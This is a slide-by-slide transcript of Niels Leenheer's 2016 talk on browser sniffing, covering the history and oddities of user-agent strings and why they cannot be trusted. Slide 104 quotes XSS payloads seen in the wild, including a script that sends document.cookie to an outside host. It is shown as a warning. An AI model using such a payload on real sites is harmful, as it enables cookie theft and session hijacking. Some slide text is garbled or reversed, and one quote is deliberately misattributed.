Everybody Lies

A presentation at code.talks 2016 in September 2016 in Hamburg, Germany by Niels Leenheer

Slide 1

Slide 1

s e i l y d o b y er v e Niels Leenheer Niels Leenheer 30/09/2016

Slide 2

Slide 2

Slide 3

Slide 3

Slide 4

Slide 4

: g n i n war this talk is full of lies and deception

Slide 5

Slide 5

Slide 6

Slide 6

… s e y this talk is about browser sniffing

Slide 7

Slide 7

? y h w

Slide 8

Slide 8

browser sniffing is dirty

Slide 9

Slide 9

you should use feature detection

Slide 10

Slide 10

Slide 11

Slide 11

: s er op l e v e D b e W Dear d i p u t S s i g n i f f i n S er s Brow http://www.webstandards.org/2002/12/20/dear-web-developers-browser-sniffing-is-stupid/

Slide 12

Slide 12

y h W s on s a e 5R Br s k n i t S g n i f f i n S er ows https://www.sitepoint.com/why-browser-sniffing-stinks/

Slide 13

Slide 13

d a B s i on i t c e t e D er s Brow https://css-tricks.com/browser-detection-is-bad/

Slide 14

Slide 14

Slide 15

Slide 15

s e c i t c a r p t s e b responsive design progressive enhancement feature detection

Slide 16

Slide 16

n er tt a p i t n a browser sniffing

Slide 17

Slide 17

browser sniffing is just a tool

Slide 18

Slide 18

everybody uses browser sniffing

Slide 19

Slide 19

Slide 20

Slide 20

Slide 21

Slide 21

… t a h w is browser sniffing actually?

Slide 22

Slide 22

the http specification defines the user-agent header it contains a string with information about the browser

Slide 23

Slide 23

every request the browser makes to the server includes the user-agent header

Slide 24

Slide 24

GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net

Slide 25

Slide 25

GET http://whichbrowser.net/ HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-us User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: whichbrowser.net HTTP/1.1 200 OK Date: Mon, 08 Feb 2016 10:40:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Last-Modified: Thu, 15 Jan 2015 10:10:40 GMT ETag: "984-50cae11796432" Accept-Ranges: bytes Content-Length: 2436 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!doctype html> <html>

Slide 26

Slide 26

you can access the exact same string using javascript

Slide 27

Slide 27

<script type=“text/javascript"> <!-alert(navigator.userAgent); //--> </script>

Slide 28

Slide 28

you can use the user-agent string to identify: the browser the rendering engine the operating system the device model and more

Slide 29

Slide 29

Slide 30

Slide 30

… t a h w is browser sniffing good for?

Slide 31

Slide 31

knowledge

Slide 32

Slide 32

if you know the platform or browser, you can streamline the user experience

Slide 33

Slide 33

Slide 34

Slide 34

if you know your users, you can build a better site for them

Slide 35

Slide 35

if you know which browser is being used, you can work around bugs

Slide 36

Slide 36

if you know which browser is causing errors, you can fix them

Slide 37

Slide 37

privacy implications

Slide 38

Slide 38

Slide 39

Slide 39

Slide 40

Slide 40

changing your user agent string actually makes it easier to track you

Slide 41

Slide 41

anonymity by looking like everybody else

Slide 42

Slide 42

brave does not have a useragent string of its own

Slide 43

Slide 43

Slide 44

Slide 44

Slide 45

Slide 45

Slide 46

Slide 46

… y h w is browser sniffing so difficult?

Slide 47

Slide 47

things started out simple

Slide 48

Slide 48

Mosaic Mosaic/0.9 The name of the browser The version of the browser

Slide 49

Slide 49

Netscape Navigator Mozilla/1.0 (Win3.1) The code name of the browser The version of the browser Operating system

Slide 50

Slide 50

but it quickly started to get complicated

Slide 51

Slide 51

Internet Explorer Mozilla/1.0 (compatible; MSIE 1.0; Windows 95) The name of the browser Compatible with Netscape Navigator 1.0 The version of the browser Operating system

Slide 52

Slide 52

Opera Opera/8.54 (Windows 95; U; en) The name of the browser The version of the browser Operating system English language United States level encryption

Slide 53

Slide 53

Opera Opera/10.00 (Windows NT 5.1; U; en) Presto/2.2.0 Rendering engine

Slide 54

Slide 54

Opera Opera/9.8 (Windows NT 5.1; U; en) Presto/2.2.0 Version/10.00 The name of the browser Fake version of the browser Real version of the browser

Slide 55

Slide 55

Firefox Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1) Gecko/20090624 Firefox/3.5 The name of the rendering engine Build date of the rendering engine The name of the browser Version of the browser Version of the rendering engine

Slide 56

Slide 56

Firefox Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Build date is no longer updated

Slide 57

Slide 57

Firefox Mozilla/5.0 (Windows NT 6.0; rv:16.0) Gecko/16.0 Firefox/16.0

Slide 58

Slide 58

and it gets worse…

Slide 59

Slide 59

Safari Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 The name of the browser Version of the browser

Slide 60

Slide 60

Chrome Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525.27.1 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/525.28.3 The name of the browser Version of the browser

Slide 61

Slide 61

Opera Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.180 The name of the browser Version of the browser

Slide 62

Slide 62

Internet Explorer Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Version of the browser

Slide 63

Slide 63

Edge Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/525.28.3 Edge/12.10162 The name of the browser Version of the browser

Slide 64

Slide 64

and those were all relatively normal user-agent strings

Slide 65

Slide 65

“User-Agent strings only get larger over time, never smaller” Niels’s law of User-Agent strings

Slide 66

Slide 66

sometimes browsers simply do not make sense at all

Slide 67

Slide 67

Samsung Internet Mozilla/5.0 (Linux; Android 4.3; en; SAMSUNG GT-I9505 Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/ 28.0.1500.94 Mobile Safari/537.36 Samsung device Version of the browser

Slide 68

Slide 68

Nokia Xpress for Windows Phone Mozilla/5.0 (Series40; NOKIALumia800; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/1.8.0.50.5

Slide 69

Slide 69

LG Netcast Mozilla/5.0 (X11; Linux; ko-KR) AppleWebKit/534.26+ (KHTML, like Gecko) Version/5.0 Safari/534.26+

Slide 70

Slide 70

sometimes browsers lie to hide their true identity

Slide 71

Slide 71

Opera Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 The name of the browser The name of the operating system Version of the browser

Slide 72

Slide 72

Opera Mobile (desktop mode) Opera/9.80 (X11; Linux zbov; U; en) Presto/2.9.201 Version/11.50 The name of the browser ROT 13 encrypted “mobi“ Version of the browser

Slide 73

Slide 73

Internet Explorer Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Browser version

Slide 74

Slide 74

Internet Explorer (compatibility view) Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0) Trident 5 means it’s Internet Explorer 9

Slide 75

Slide 75

browsers can change the user-agent strings for individual websites

Slide 76

Slide 76

Slide 77

Slide 77

Slide 78

Slide 78

Mobile Internet Explorer 11 on Windows Phone 8.1 on html5test.com Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; ARM; Touch; WPDesktop; Lumia 535)

Slide 79

Slide 79

Mobile Internet Explorer 11 on Windows Phone 8.1 Mozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; Microsoft; Lumia 535) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537

Slide 80

Slide 80

Slide 81

Slide 81

Slide 82

Slide 82

Slide 83

Slide 83

sometimes browsers are just weird

Slide 84

Slide 84

Slide 85

Slide 85

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]

Slide 86

Slide 86

Vehicle Center Console Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]

Slide 87

Slide 87

Mozilla/4.0 (MobilePhone PLS6600KJ/US/1.0) NetFront/3.1 MMP/2.0

Slide 88

Slide 88

Mozilla/4.08 (PDA; SL-C3000/1.0,Qtopia/1.5.2) NetFront/3.1

Slide 89

Slide 89

Mozilla/5.0 (DTV; TVwithVideoPlayer) NetFront/4.1 AQUOSBrowser/1.0 InettvBrowser/2.2 (08001F;DTV06VSFC;0009;0001)

Slide 90

Slide 90

Mozilla/5.0 (Standard; NF41SW/1.1; like Gecko; TASKalfa 406ci) NetFront/4.1

Slide 91

Slide 91

Mozilla/4.0 (PSP (PlayStation Portable); 2.60)

Slide 92

Slide 92

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2

Slide 93

Slide 93

? Mozilla/5.0 (DAG; 1.4; like Gecko) NetFront/4.2

Slide 94

Slide 94

Mozilla/5.0 (VCC; 1.0; like Gecko) NetFront/4.2 Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en] Opera Bork-edition?

Slide 95

Slide 95

Slide 96

Slide 96

Slide 97

Slide 97

Slide 98

Slide 98

BORK BORK BORK

Slide 99

Slide 99

Slide 100

Slide 100

Slide 101

Slide 101

Slide 102

Slide 102

and it is possible to change the user-agent string yourself

Slide 103

Slide 103

spam http://www.sexxlife.it/sexyshop (sexy shop - sexy toys, BDSM, vibratori, falli, vagine, lubrificanti, dvd porno, film hard, lingerie - Migliaia di articoli nel nostro sexy shop online.; http://www.sexxlife.it; info@sexxlife.it)

Slide 104

Slide 104

XSS attacks

<script>alert("My Little Pony”);</script> <script language="JavaScript">document.location= "http://www.max1094.18.lc/admin/cookies.php?c=" + document.cookie;</script> <img src="http://bravo.trollab.org/mylittlepony.png" alt="My Little Pony”>

Slide 105

Slide 105

XSS attacks

Slide 106

Slide 106

funny people (╯°□°)╯︵ ┻━┻ Mozilla/10.0 (compatible; MSIE 10.0; CP/M; 8-bit) Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; Microsoft; Surface Zune Phone XL) AppleWebKit/537.36 (KHTML, like Gecko)

Slide 107

Slide 107

funny people

Slide 108

Slide 108

angry people

Slide 109

Slide 109

angry people FuckZilla/666.0 (Gavnoid; Debile; rv:123.0) FuckYou/123.0 FuckingFox/321.0 Opera/9.80 (Windows NT 6.1; U; FuckYou; xx) Presto/2.10.229 Version/11.62 Seriously, Go fuck yourself W3C standards are important. Stop fucking obsessing over user-agent already.

Slide 110

Slide 110

4 x balls 82 x fuck 9 x dick 1.000.000 unique useragent strings 6 x ass 10 x shit 3 x vagina 108 x sex

Slide 111

Slide 111

user-agent strings cannot be trusted!

Slide 112

Slide 112

s e i l y d o b y er v e

Slide 113

Slide 113

er v e n d l ou h s you use browser sniffing for controlling access to your website

Slide 114

Slide 114

er v e n d l ou h s you use browser sniffing for determining browser capabilities

Slide 115

Slide 115

er v e n d l ou h s you build your own browser sniffing library

Slide 116

Slide 116

Slide 117

Slide 117

#1 use a browser sniffing library that is regularly updated

Slide 118

Slide 118

#2 check if it is possible to automatically schedule updates

Slide 119

Slide 119

try libraries like UAParser, PiwikDeviceDetector or WhichBrowser https://github.com/ua-parser https://github.com/piwik/device-detector https://github.com/whichbrowser

Slide 120

Slide 120

http://useragent.mkf.solutions https://github.com/ThaDafinser/UserAgentParserComparison

Slide 121

Slide 121

Slide 122

Slide 122

“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi

Slide 123

Slide 123

“If you tell a big enough lie and tell it frequently enough, it will be believed” — Ghandi

Slide 124

Slide 124

“If you tell a big enough lie and tell it frequently enough, it will be believed” — Adolf Hitler

Slide 125

Slide 125

thank you!

Slide 126

Slide 126

thank you!